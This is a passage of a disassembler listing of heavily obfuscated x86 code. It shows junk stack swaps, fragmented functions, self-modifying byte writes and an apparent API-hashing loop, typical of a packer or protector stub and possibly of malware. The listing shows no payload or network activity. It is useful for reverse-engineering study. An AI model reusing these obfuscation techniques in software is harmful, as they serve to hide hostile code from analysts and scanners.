; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_475CEC

loc_4755CF:				; CODE XREF: sub_475CEC+Fj
		jmp	loc_474776
; END OF FUNCTION CHUNK	FOR sub_475CEC

; =============== S U B	R O U T	I N E =======================================



sub_4755D4	proc near		; DATA XREF: isk1wxzg:00474C35o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00474E80 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0047588A SIZE 00000010 BYTES
; FUNCTION CHUNK AT 004758AE SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0047608D SIZE 00000005 BYTES

		push	eax
		mov	eax, ecx
		xchg	eax, [esp+4+var_4]
		push	2CF2ADE0h
		jmp	loc_47608D
sub_4755D4	endp

; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------

locret_4755E6:				; CODE XREF: isk1wxzg:00473A63j
		retn
; ---------------------------------------------------------------------------
		align 4
		dd 0E8E900h, 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_47537E

loc_4755F0:				; CODE XREF: sub_47537E:loc_4758EDj
		pop	eax
		add	eax, 30AA8D55h
		call	sub_473D4D
; END OF FUNCTION CHUNK	FOR sub_47537E
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_473CB1

loc_4755FE:				; CODE XREF: sub_473CB1+16j
		jmp	loc_4741A3
; END OF FUNCTION CHUNK	FOR sub_473CB1
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_475604	proc near		; DATA XREF: isk1wxzg:00475CD1o
		xchg	edx, [esp+0]
		adc	ecx, edi
sub_475604	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_47371D

loc_475609:				; CODE XREF: sub_47371D+4j
		jmp	loc_474D90
; END OF FUNCTION CHUNK	FOR sub_47371D
; ---------------------------------------------------------------------------
		align 10h

loc_475610:				; CODE XREF: isk1wxzg:004738D3j
		adc	edx, 28A27639h
		xchg	edi, [esp]
		pop	edi
		pop	ecx
		jmp	loc_4759FF
; ---------------------------------------------------------------------------
		dd 1E85100h, 0FFFFF3h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_474DF6

loc_475629:				; CODE XREF: sub_474DF6+1223j
		jmp	loc_474B2D
; END OF FUNCTION CHUNK	FOR sub_474DF6
; ---------------------------------------------------------------------------
		align 10h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_475633	proc near		; CODE XREF: isk1wxzg:loc_473F23p
					; isk1wxzg:00474E9Dj
		xchg	eax, [esp+0]
		pop	eax
		mov	byte ptr [ebx],	87h
		pop	ebx
		push	2ED3878Dh
		call	near ptr dword_4739E0+0Ch
		mov	byte ptr [ecx],	0Fh
		pop	ecx
		sub	eax, 9BFE6BE9h
		xor	eax, 57B050B4h
		push	offset dword_47484C
		jmp	nullsub_392
sub_475633	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		shl	ecx, 13h
		pop	esi
		jmp	loc_4757ED
; ---------------------------------------------------------------------------

locret_475668:				; CODE XREF: isk1wxzg:00474341j
		retn
; ---------------------------------------------------------------------------

loc_475669:				; CODE XREF: isk1wxzg:0047473Dj
		jmp	loc_473F5B
; ---------------------------------------------------------------------------
		align 10h

loc_475670:				; DATA XREF: isk1wxzg:0047433Co
		mov	byte ptr [ecx],	87h
		pop	ecx
		and	ebx, 7AFA98DBh
		add	ebx, 0B81556B6h
		jmp	loc_475F6F
; ---------------------------------------------------------------------------
		align 2
		dw 6C6h
		dd 0C1C15EC6h, 69C98113h, 81611CA0h, 0A7A6AFC1h, 240C878Ch
		dd 0FFE1CEE9h
		db 0FFh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_4756A3:				; CODE XREF: isk1wxzg:00475706j
		jl	loc_473A14

loc_4756A9:				; CODE XREF: isk1wxzg:loc_47510Aj
		or	esi, 2CC31F3Fh
		and	esi, 66E9680Dh
		add	esi, 59A072B6h
		add	ecx, esi
		pop	esi
		jmp	loc_47505C
; ---------------------------------------------------------------------------
		align 4
		dd 0F202E800h, 0FFFFh, 168BD913h, 0FFE3E2E9h, 3C600FFh
		dd 4D7768C6h, 0E1E90047h, 0FFFFF4h, 3A8830Fh, 30E90000h
		dd 0FFFFE1h, 5E243487h,	87F98B57h, 5968243Ch, 0E9004742h
		dd 0FFFFEB4Dh
; ---------------------------------------------------------------------------

loc_475704:				; CODE XREF: isk1wxzg:00475122j
		sbb	eax, ebx
		jmp	loc_4756A3
; ---------------------------------------------------------------------------
		align 4
		dd 0FFE9F013h, 0FFFFEEh, 0F6AF8C0Fh, 0F281FFFFh, 4F8FB07h
		dd 0FFED09E9h, 0C3C100FFh, 0BDC3811Ch, 0E9DDA169h, 0FFFFF7E7h
		dd 13879D00h, 0FFDF50E9h, 0C88F0FFFh, 0E9000007h, 0FFFFEFC2h
		dd 0BD870F00h, 0E9FFFFF3h, 0FFFFFCB9h, 3C870000h, 4875F24h
		dd 21CE924h, 0C3000000h, 58D0000h, 473E93h, 68C76853h
		dd 7AE94933h
		db 7, 2	dup(0)
; ---------------------------------------------------------------------------

loc_475777:				; CODE XREF: isk1wxzg:00473DE5j
		jge	loc_474FBA
; ---------------------------------------------------------------------------
		db 2 dup(0), 81h
		dd 0C373D0D1h, 0C0819D9Fh, 1206BD8Fh, 0FFF829E9h
		db 0FFh, 0C3h, 0
		db 87h			; DATA XREF: isk1wxzg:loc_475B23o
		dd 12BA240Ch, 0E900473Eh, 0FFFFFC9Dh, 850F0000h, 235h
		dd 0C5C10000h, 0E778E91Ch, 0FFFFh
; ---------------------------------------------------------------------------

loc_4757B4:				; CODE XREF: isk1wxzg:00475AB0j
		mov	ebx, [esi]

; =============== S U B	R O U T	I N E =======================================



sub_4757B6	proc near		; CODE XREF: sub_475C68-90Ap

; FUNCTION CHUNK AT 004748C0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004749D0 SIZE 00000007 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		jnz	near ptr dword_4744C0+5
		lodsb
		add	edx, eax
		rol	edx, 3
		jmp	loc_4748C0
sub_4757B6	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
		dd 0FFE2E6E8h
		db 0FFh, 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4734CE

loc_4757D3:				; CODE XREF: sub_4734CE+7j
		jmp	loc_475E80
; END OF FUNCTION CHUNK	FOR sub_4734CE
; ---------------------------------------------------------------------------
		db 2 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_4757DA	proc near		; CODE XREF: isk1wxzg:00474C8Cj
					; sub_47580E:loc_475FBCp
		xchg	ecx, [esp+0]
		pop	ecx
		mov	byte ptr [ebx],	8Bh
		pop	ebx
		push	offset dword_473924
		jmp	nullsub_376
sub_4757DA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------

loc_4757ED:				; CODE XREF: isk1wxzg:00475663j
		xchg	ebx, [esp]
		pop	ebx
		push	esi
		push	offset sub_4749EA
		jmp	near ptr dword_47508C+12h
; ---------------------------------------------------------------------------

loc_4757FC:				; CODE XREF: isk1wxzg:00474B46j
		push	offset byte_474061
		jmp	loc_4759AB
; ---------------------------------------------------------------------------
		align 4
		dd 0FD698A0Fh
		db 2 dup(0FFh)

; =============== S U B	R O U T	I N E =======================================



sub_47580E	proc near		; CODE XREF: isk1wxzg:00476084p

; FUNCTION CHUNK AT 00473976 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00473B40 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00474254 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00475260 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00475443 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00475937 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00475DED SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00475FBC SIZE 0000000A BYTES

		xchg	ebx, [esp+0]
		xchg	esi, [esp+0]
		mov	ebx, esi
		pop	esi
		push	ebx
		push	7F313C1Ah
		jmp	loc_474254
sub_47580E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dw 8700h
; ---------------------------------------------------------------------------
		cmp	al, 24h
		pop	edi
		push	ebp
		mov	ebp, esi
		xchg	ebp, [esp]
		mov	esi, offset loc_473E2A
		jmp	loc_4747C5
; ---------------------------------------------------------------------------
byte_475837	db 8Bh			; DATA XREF: sub_47401B+1A89o
		dd 0FD20910h, 66984h, 454D6800h, 72E90047h, 0FFFFF0h
; ---------------------------------------------------------------------------

loc_47584C:				; CODE XREF: isk1wxzg:00474AFFj
		jz	loc_474B0C
		jb	loc_475B10
		mov	[esi], edi
		jmp	loc_474B0C
; ---------------------------------------------------------------------------
		align 10h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(0)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_398. PRESS KEYPAD	"+" TO EXPAND]
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_473CB1

loc_475866:				; CODE XREF: sub_473CB1:loc_475540j
		xor	eax, 0DB3BD78h
		add	esi, eax
		pop	eax
		mov	[esi], eax
		jmp	loc_475520
; END OF FUNCTION CHUNK	FOR sub_473CB1
; ---------------------------------------------------------------------------
		sub	eax, 18190476h
		sbb	ecx, 10BD5933h
		jmp	loc_474155
; ---------------------------------------------------------------------------
		align 4
		db 0, 87h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4755D4

loc_47588A:				; CODE XREF: sub_4755D4:loc_4758BBj
		or	al, 24h
		xchg	eax, [esp+4+var_4]
		mov	ecx, eax
		pop	eax
		xchg	ecx, [esp+0]
		jmp	loc_474E80
; END OF FUNCTION CHUNK	FOR sub_4755D4

; =============== S U B	R O U T	I N E =======================================



sub_47589A	proc near		; CODE XREF: isk1wxzg:00474168p

; FUNCTION CHUNK AT 00474581 SIZE 00000020 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		push	7573375Ch
		pop	esi
		rol	esi, 15h
		jmp	loc_474581
sub_47589A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4755D4

loc_4758AE:				; CODE XREF: isk1wxzg:00475020j
					; sub_4755D4:loc_47608Dj
		pop	ecx
		and	ecx, 9F1A078Fh
		xor	ecx, 8248A13Bh

loc_4758BB:				; DATA XREF: sub_47538D+Bo
		jo	short loc_47588A
		call	sub_475AB6
		jmp	near ptr dword_474130+23h
; END OF FUNCTION CHUNK	FOR sub_4755D4
; ---------------------------------------------------------------------------
		align 4
		dd 87CA8B51h, 0F6BA240Ch, 0E900473Ch, 0FFFFF2F8h, 0E80B0000h
		dd 0F521CB81h, 0C3811CEFh, 404735B3h, 4B8E8h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_47537E

loc_4758ED:				; CODE XREF: sub_47537E+Aj
		jmp	loc_4755F0
; END OF FUNCTION CHUNK	FOR sub_47537E
; ---------------------------------------------------------------------------

loc_4758F2:				; CODE XREF: isk1wxzg:loc_475D12j
		add	ebx, 7DE4A047h
		and	ebx, 36077AC5h
		add	ebx, 0EA411E0Ah
		jmp	loc_47379E
; ---------------------------------------------------------------------------
		push	0B2622CDDh
		pop	eax
		and	eax, 0DD4DECE4h
		or	eax, 0FD554304h
		and	eax, 20E0980Eh
		sub	eax, 0E5544410h
		add	eax, 0C55933F4h
		call	sub_475DC9
; START	OF FUNCTION CHUNK FOR sub_475DC9

loc_475932:				; CODE XREF: sub_475DC9-2BEj
		jmp	nullsub_400
; END OF FUNCTION CHUNK	FOR sub_475DC9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_47580E

loc_475937:				; CODE XREF: sub_47580E-5A5j
		jmp	nullsub_377
; END OF FUNCTION CHUNK	FOR sub_47580E
; ---------------------------------------------------------------------------
		dd 0C0815800h, 97D8EAB7h, 0E82AE081h, 0C8811F88h, 6AB61365h
		dd 0ADC7E881h, 4EE98B76h, 0FFFFDFh
		db 0
; ---------------------------------------------------------------------------

loc_47595D:				; CODE XREF: isk1wxzg:0047520Aj
		jg	loc_474C7C
		ror	edx, 1Bh
		add	esi, ecx
		mov	esi, 2FE942B6h

loc_47596D:				; CODE XREF: isk1wxzg:loc_4751F7j
		add	esi, 0FB007BA6h
		xchg	esi, [esp]
		jmp	loc_473B46
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_402. PRESS KEYPAD	"+" TO EXPAND]
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_47597E:				; CODE XREF: isk1wxzg:loc_473B46j
		push	ecx
		jmp	loc_473B61
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_475986:				; DATA XREF: sub_4744DB+714o
		mov	ds:byte_473E91+2, 0Fh
		mov	byte ptr ds:dword_4739E0+1, 0E8h
		mov	byte ptr ds:dword_4739E0+1Ch, 87h
		mov	byte ptr ds:dword_4739E0+1Fh, 58h
		mov	byte ptr ds:dword_4739E0+20h, 0Fh
		retn
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------

loc_4759AB:				; CODE XREF: isk1wxzg:00475801j
		jmp	locret_475030
; ---------------------------------------------------------------------------
		db 0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_382. PRESS KEYPAD	"+" TO EXPAND]
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_385. PRESS KEYPAD	"+" TO EXPAND]
		db 80h
		dd 2BEh, 0FFE3F1E9h
; ---------------------------------------------------------------------------
		inc	dword ptr [eax]

loc_4759BE:				; DATA XREF: isk1wxzg:loc_473A5Eo
		add	[edi-1045DBE4h], al
		pop	edi
		inc	edi
		add	cl, ch
		xor	eax, 0FFFFDCh
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_291. PRESS KEYPAD	"+" TO EXPAND]
		align 10h
; START	OF FUNCTION CHUNK FOR sub_475B43

loc_4759D0:				; CODE XREF: sub_475B43+10j
		jmp	loc_473B34
; END OF FUNCTION CHUNK	FOR sub_475B43
; ---------------------------------------------------------------------------
		jb	loc_475E51
		xchg	ebp, eax
		push	ecx
		mov	ecx, edx
		xchg	ecx, [esp]
		jmp	loc_475DBF
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4741CE

loc_4759EA:				; CODE XREF: sub_4741CE:loc_47474Aj
		mov	byte ptr [ecx],	56h
		pop	ecx
		mov	ebp, edx

loc_4759F0:				; DATA XREF: sub_4741CE+7A4o
		js	short loc_475A5A
		call	far ptr	7AE9h:5EDF4A25h
		out	dx, al
; END OF FUNCTION CHUNK	FOR sub_4741CE
; ---------------------------------------------------------------------------
		dw 0FFFFh
		db 0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_376. PRESS KEYPAD	"+" TO EXPAND]
		db 0
; ---------------------------------------------------------------------------

loc_4759FF:				; CODE XREF: isk1wxzg:0047561Bj
		jmp	loc_474BFB
; ---------------------------------------------------------------------------
		dd 68008B00h, 47388Dh, 0FFFB43E9h, 0F70000FFh, 1DE7C1D6h
		dd 0FFF77CE9h, 810000FFh, 60EE52E8h, 0F5B9E929h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_475A2A:				; CODE XREF: isk1wxzg:00474FC9j
		push	1F547C44h
		pop	esi
		add	esi, 0A95C32C7h
		test	esi, 10h
		jmp	loc_47510A
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_474BAE

loc_475A43:				; CODE XREF: sub_474BAE+11j
		jmp	loc_475CA2
; END OF FUNCTION CHUNK	FOR sub_474BAE
; ---------------------------------------------------------------------------
		dd 0CC1C100h, 0FFF655E9h, 48700FFh, 8B5824h
; ---------------------------------------------------------------------------
		or	eax, eax
; START	OF FUNCTION CHUNK FOR sub_4741CE

loc_475A5A:				; CODE XREF: sub_4741CE:loc_4759F0j
		jnz	near ptr word_473726+1
		jmp	loc_474396
; END OF FUNCTION CHUNK	FOR sub_4741CE
; ---------------------------------------------------------------------------
		align 2
		jo	locret_475C4B
		jmp	sub_47420E
; ---------------------------------------------------------------------------
		align 2
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_387. PRESS KEYPAD	"+" TO EXPAND]
		align 4
		dd 3100C300h, 535768C0h, 3FE90047h, 0C3FFFFFEh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_475A86:				; CODE XREF: isk1wxzg:004750BFj
		jmp	locret_47496C
; ---------------------------------------------------------------------------
		align 4
		dd 87D38B52h, 0F0BB2414h, 0E9004745h, 0FFFFECE2h
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_47401B

loc_475A9E:				; CODE XREF: sub_47401B:loc_474A78j
		jno	loc_475486
		push	offset byte_475837
		jmp	nullsub_386
; END OF FUNCTION CHUNK	FOR sub_47401B
; ---------------------------------------------------------------------------
		sub	edi, eax
		jmp	loc_4757B4
; ---------------------------------------------------------------------------
		align 2

; =============== S U B	R O U T	I N E =======================================



sub_475AB6	proc near		; CODE XREF: sub_4755D4+2E9p
		xchg	ecx, [esp+0]
		pop	ecx
		add	ecx, 71A55B41h
		push	473CE1h
		jmp	near ptr dword_473F28+21h
sub_475AB6	endp

; ---------------------------------------------------------------------------
		align 4
		xchg	ecx, ebx
		jmp	sub_474370
; ---------------------------------------------------------------------------
		align 4
		dd 0F7FB8700h, 0ABF081D7h, 68870BE0h, 2B08D955h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4741CE

loc_475AE4:				; CODE XREF: sub_4741CE:loc_474396j
		call	sub_47371D
; END OF FUNCTION CHUNK	FOR sub_4741CE
; ---------------------------------------------------------------------------
		db 2 dup(0), 0C3h
		dd 0E9108B00h, 144h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_475DC9

loc_475AF5:				; CODE XREF: sub_475DC9:loc_475DCDj
		call	sub_47401B
		add	cl, ch
		inc	esp
		add	eax, 87000000h
		adc	al, 24h
		pop	edx
		popf
		push	offset loc_475C2C
		jmp	loc_475932
; END OF FUNCTION CHUNK	FOR sub_475DC9
; ---------------------------------------------------------------------------

loc_475B10:				; CODE XREF: isk1wxzg:0047391Fj
					; isk1wxzg:00475852j
		rol	ecx, 1Ch
		xor	ecx, 0E8C5E7BAh
		cmp	eax, ecx
		pop	ecx
		jmp	loc_473C8A
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_475B23:				; CODE XREF: isk1wxzg:00475371j
		push	offset byte_475793
		jmp	loc_474A73
; ---------------------------------------------------------------------------
		align 2
		lea	eax, nullsub_401
		mov	byte ptr [eax],	0C3h
		push	ecx
		push	95ABB028h
; START	OF FUNCTION CHUNK FOR sub_4744DB

loc_475B3D:				; CODE XREF: sub_4744DB+1CCj
					; isk1wxzg:00474FCEj
		jmp	loc_475E41
; END OF FUNCTION CHUNK	FOR sub_4744DB
; ---------------------------------------------------------------------------
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_475B43	proc near		; CODE XREF: isk1wxzg:loc_474AE2p
					; isk1wxzg:00475DE8j

; FUNCTION CHUNK AT 00473B34 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 004759D0 SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		add	eax, 20B7F388h
		push	ebx
		mov	ebx, esi
		xchg	ebx, [esp+0]
		jmp	loc_4759D0
sub_475B43	endp

; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4744DB

loc_475B59:				; CODE XREF: sub_4744DB:loc_4754BFj
		jnz	loc_4746AD
		jmp	loc_4754BA
; END OF FUNCTION CHUNK	FOR sub_4744DB
; ---------------------------------------------------------------------------

locret_475B64:				; CODE XREF: isk1wxzg:00475E1Dj
		retn
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_475BF0

loc_475B67:				; CODE XREF: sub_475BF0-1CF2j
		jmp	loc_4746FB
; END OF FUNCTION CHUNK	FOR sub_475BF0
; ---------------------------------------------------------------------------
		dd 0EA1BC300h, 0FFE8A4E9h
		db 0FFh

; =============== S U B	R O U T	I N E =======================================



sub_475B75	proc near		; CODE XREF: isk1wxzg:00475BE1j
					; sub_475026:loc_475D71p
		xchg	edx, [esp+0]
		pop	edx
		mov	ecx, [ecx]
		push	offset loc_474C2C
		jmp	nullsub_380
sub_475B75	endp

; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4749EA

loc_475B87:				; CODE XREF: sub_4749EA:loc_474AD7j
		mov	[edi], eax
		pop	edi
		pushf
		push	3AF91238h
		pop	eax
		jmp	loc_474E24
; END OF FUNCTION CHUNK	FOR sub_4749EA
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_473E7B

loc_475B97:				; CODE XREF: sub_473E7B+7B2j
		mov	byte ptr [ecx],	87h
		pop	ecx
		and	ecx, 44739E68h
		add	ecx, 0C045C462h
		xchg	ecx, [esp-4+arg_0]
		jmp	loc_474846
; END OF FUNCTION CHUNK	FOR sub_473E7B
; ---------------------------------------------------------------------------
		align 10h
dword_475BB0	dd 282D6853h, 815B4534h, 2A3F75C3h, 63890FE5h, 0FFFFFBh
					; DATA XREF: sub_474BAE-136Bo
		dd 0FFDD46E9h, 890000FFh, 43E929h, 0C1030000h, 0FFFA3DE8h
; ---------------------------------------------------------------------------
		inc	dword ptr [eax]
; START	OF FUNCTION CHUNK FOR sub_4752B4

loc_475BDA:				; CODE XREF: sub_4752B4+Fj
		jmp	loc_47605D
; END OF FUNCTION CHUNK	FOR sub_4752B4
; ---------------------------------------------------------------------------
		align 10h
		pop	ecx
		jmp	sub_475B75
; ---------------------------------------------------------------------------
		align 4
		jnz	loc_473EEE
		not	ebx

; =============== S U B	R O U T	I N E =======================================



sub_475BF0	proc near

; FUNCTION CHUNK AT 00473EF8 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004746FB SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00475B67 SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		xchg	edx, [esp+0]
		mov	ecx, edx
		jmp	loc_473EF8
sub_475BF0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 2 dup(0), 87h
; ---------------------------------------------------------------------------
		add	al, 24h
		pop	eax
		push	ecx
		push	72FE6390h
		pop	esi
		push	ebx
		mov	ebx, 475422h
		jmp	loc_4738A4
; ---------------------------------------------------------------------------
		db 3Bh,	0EEh, 0E9h
; ---------------------------------------------------------------------------
		imul	esi, ebp, 0FFFFh
		lodsb
		add	edx, eax
		rol	edx, 3
		xor	edx, eax
		dec	ecx
		jmp	loc_475FC7
; ---------------------------------------------------------------------------

loc_475C2C:				; DATA XREF: sub_475DC9-2C3o
		xchg	ebx, [esp]
		retn
; ---------------------------------------------------------------------------

loc_475C30:				; CODE XREF: isk1wxzg:00473E2Dj
		jmp	near ptr dword_473504+32h
; ---------------------------------------------------------------------------
		align 2
		dw 1014h
		dd 475A8C68h, 0FE41E900h, 8900FFFFh, 0FC50E90Ah
		db 2 dup(0FFh),	0
; ---------------------------------------------------------------------------

locret_475C4B:				; CODE XREF: isk1wxzg:0047524Dj
					; isk1wxzg:00475A66j
		retn
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_475C4E:				; CODE XREF: isk1wxzg:00473F1Dj
		jmp	near ptr dword_4736D4+24h
; ---------------------------------------------------------------------------
		align 4
		db 0
byte_475C55	db 68h,	0F6h, 21h	; DATA XREF: isk1wxzg:00475248o
		dd 1487AFB1h, 5ADA8B24h, 0E91CC3C1h, 0FFFFFE93h

; =============== S U B	R O U T	I N E =======================================



sub_475C68	proc near		; CODE XREF: isk1wxzg:00473F73p

; FUNCTION CHUNK AT 00475358 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00475CE5 SIZE 00000005 BYTES

		xchg	esi, [esp+0]
		pop	esi
		xor	eax, eax
		cld
		jmp	loc_475CE5
sub_475C68	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dd 8B570000h, 243C87FDh, 0B7E9EE8Bh, 0FFFFF8h, 0A2F08100h
		dd 0E99150AAh, 0FFFFF8FFh, 0D9840F00h, 81FFFFFEh, 0B80344C0h
		dd 4AE965h
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_474BAE

loc_475CA2:				; CODE XREF: sub_474BAE:loc_475A43j
		add	edi, 0AEE5C2A6h
		add	eax, edi
		pop	edi
		mov	eax, [eax]
		popf

loc_475CAE:				; DATA XREF: sub_473CB1:loc_4741AEw
		mov	al, [eax]
		jmp	loc_474705
; END OF FUNCTION CHUNK	FOR sub_474BAE
; ---------------------------------------------------------------------------
		or	ebx, edx

; =============== S U B	R O U T	I N E =======================================



sub_475CB7	proc near		; CODE XREF: isk1wxzg:loc_474DC9p

arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 004748DB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00475232 SIZE 0000000A BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		add	edi, 5BAD23CFh
		popf

loc_475CC2:				; DATA XREF: isk1wxzg:00474ED8o
		xchg	edi, [esp-8+arg_4]
		push	eax
		jmp	loc_4748DB
sub_475CB7	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
		push	0D8AB0928h
		push	offset sub_475604
		jmp	locret_474446
; ---------------------------------------------------------------------------

loc_475CDB:				; DATA XREF: sub_4752B4:loc_47605Do
		mov	byte ptr [edi],	0C3h
		pop	edi
		mov	ebp, esi
		pop	esi
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_396. PRESS KEYPAD	"+" TO EXPAND]
		align 4
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_475C68

loc_475CE5:				; CODE XREF: sub_475C68+7j
		jmp	loc_475358
; END OF FUNCTION CHUNK	FOR sub_475C68
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_475CEC	proc near		; CODE XREF: sub_47589A-1303p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00474776 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004755CF SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		xchg	ecx, [esp+0]
		mov	edx, ecx
		pop	ecx
		xchg	edi, [esp-4+arg_0]
		mov	esi, edi
		pop	edi
		jmp	loc_4755CF
sub_475CEC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dd 0D03B0000h, 0FFE958E9h
		db 0FFh
; ---------------------------------------------------------------------------

locret_475D09:				; CODE XREF: isk1wxzg:00475046j
		retn
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_47538D

loc_475D0C:				; CODE XREF: sub_47538D+10j
		jmp	loc_474CAE
; END OF FUNCTION CHUNK	FOR sub_47538D
; ---------------------------------------------------------------------------
		align 2

loc_475D12:				; CODE XREF: isk1wxzg:004743D2j
		jmp	loc_4758F2
; ---------------------------------------------------------------------------
byte_475D17	db 68h			; DATA XREF: isk1wxzg:00475041o
		dd 865B23Ch, 8BC88158h,	81849E39h, 0BB144FF0h, 0FC081EAh
		dd 8799BB50h, 3FE92404h, 0C3FFFFE1h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_475D3A:				; CODE XREF: isk1wxzg:0047411Dj
		jmp	locret_4746C5
; ---------------------------------------------------------------------------
		align 10h

loc_475D40:				; CODE XREF: isk1wxzg:004753F8j
		mov	byte ptr [edi],	87h
		pop	edi
		push	473875h
		jmp	near ptr dword_474650+2
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------

loc_475D4F:				; CODE XREF: isk1wxzg:00475352j
		xchg	ecx, [esp]
		pop	ecx
		add	eax, ebp
		call	sub_4749D8
; START	OF FUNCTION CHUNK FOR sub_475DC9

loc_475D5A:				; CODE XREF: sub_475DC9+12j
		jmp	loc_47476B
; END OF FUNCTION CHUNK	FOR sub_475DC9
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_377. PRESS KEYPAD	"+" TO EXPAND]
		dd 0B3E90000h, 0FFFFE5h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_473EE5

loc_475D68:				; CODE XREF: sub_473EE5+Ej
		mov	ecx, edi
		pop	edi
		call	loc_473E0D
; END OF FUNCTION CHUNK	FOR sub_473EE5
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_475026

loc_475D71:				; CODE XREF: sub_475026:loc_473E8Cj
		call	sub_475B75

loc_475D76:				; CODE XREF: sub_4738E9+15D2j
		add	cl, ch
		push	esi
		loop	near ptr loc_475D79+1 ;	CODE XREF: sub_475026:loc_475D79j
		inc	dword ptr [eax]
		add	[ebx-75h], dl
		fld	dword ptr [edi-2D46DBE4h]
		pop	ebx
		inc	edi
		add	cl, ch
		xor	eax, [edx]
; END OF FUNCTION CHUNK	FOR sub_475026
